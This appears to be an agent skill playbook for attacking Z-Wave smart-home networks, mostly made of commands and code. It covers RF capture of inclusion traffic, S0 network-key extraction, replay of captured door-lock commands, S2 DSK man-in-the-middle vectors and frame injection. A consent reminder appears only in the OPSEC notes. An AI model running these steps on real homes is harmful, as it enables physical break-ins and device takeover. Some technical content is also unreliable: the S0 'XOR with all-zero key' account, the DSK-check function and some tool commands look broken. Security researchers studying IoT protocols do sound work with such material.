| name | z-wave |
| description | Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key","tags":"z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz","mitre_attack":"T1040, T1557, T1190, T1078"} |
Z-Wave S0/S2 Security Assessment
Z-Wave is the dominant proprietary RF protocol for smart-home devices
(locks, thermostats, sensors). Security class S0 (2009) has a fundamental
key-exchange flaw: the network key is transmitted in cleartext during
inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device
Specific Key) bootstrapping step that can be MITM'd if the controller
UI does not enforce out-of-band DSK verification.
Prerequisites
- Hardware:
- RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
- HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
- OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave
controller, for EZ-Wave / Z-Force active work).
- Software:
gr-zwave (GNU Radio Z-Wave OOK decoder), EZ-Wave,
Z-Force / zniffer, Scapy with Z-Wave layer.
git clone https://github.com/BastilleResearch/scapy-radio
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
Z-Wave Frequency Reference
| Region | Primary frequency | Fallback |
|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
Phase 1: Passive Capture with RTL-SDR + gr-zwave
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
Capture traffic during an inclusion event (when a new device is added to the
controller) — S0 key transport happens in plaintext at this moment.
Phase 2: S0 Key Extraction During Inclusion
S0 inclusion sequence:
- Controller sends
NETWORK_KEY_SET with the 16-byte network key XOR'd
with the Z-Wave default key 0x00×16.
- Node acknowledges with
NETWORK_KEY_VERIFY.
Since the default key is all-zeros, the XOR is trivially reversible:
DEFAULT_KEY = b'\x00' * 16
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
Use Scapy Z-Wave layer to parse frames from pcap:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)
Devices that joined with no security class (very common on older gear)
accept any RF frame addressed to their NodeID. EZ-Wave replay:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
With HackRF + GNU Radio for raw OOK replay:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
Phase 4: S2 DSK MITM Analysis
S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit
PIN printed on the device label) is used for bootstrapping the ECDH exchange.
Attack vectors:
-
MITM if DSK not verified: if the controller software auto-accepts the
DSK without prompting the user to verify, a spoofed node can substitute
its own public key.
-
Physical DSK exposure: the DSK is printed on a label or QR code on the
device. If the attacker had physical access (supply chain, retail), they
can record DSKs and later include the device under their own controller.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
pk_bytes = bytes.fromhex(public_key_hex)
dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]
Phase 5: Z-Force Active Fuzzing
Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows
injecting arbitrary Z-Wave frames via the USB Z-Wave controller:
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF
zforce scan --freq 908420000
zforce replay --file /tmp/basic_set.zwave --node 5
Evidence
EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"Z-Wave S0 network key extracted NodeID={node_id}",
props={
"key": f"z-wave::s0::{home_id}",
"home_id": home_id,
"node_id": node_id,
"s0_network_key_hex": s0_key.hex(),
"security_class": "S0",
"frequency_mhz": 908.42,
"source": "gr-zwave+ezwave",
},
)
OPSEC Notes
- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies
the network. Capture any frame to determine HomeID.
- Replay of door lock commands is a physical security event. Only perform
with owner consent and a documented rollback plan (alternate entry method).
- RTL-SDR is receive-only — zero RF emission from capture phase.
- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer)
if the operator has one deployed; most consumer smart-home installs do not.
- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is
resistant to all MITM techniques described here; document as hardened.
References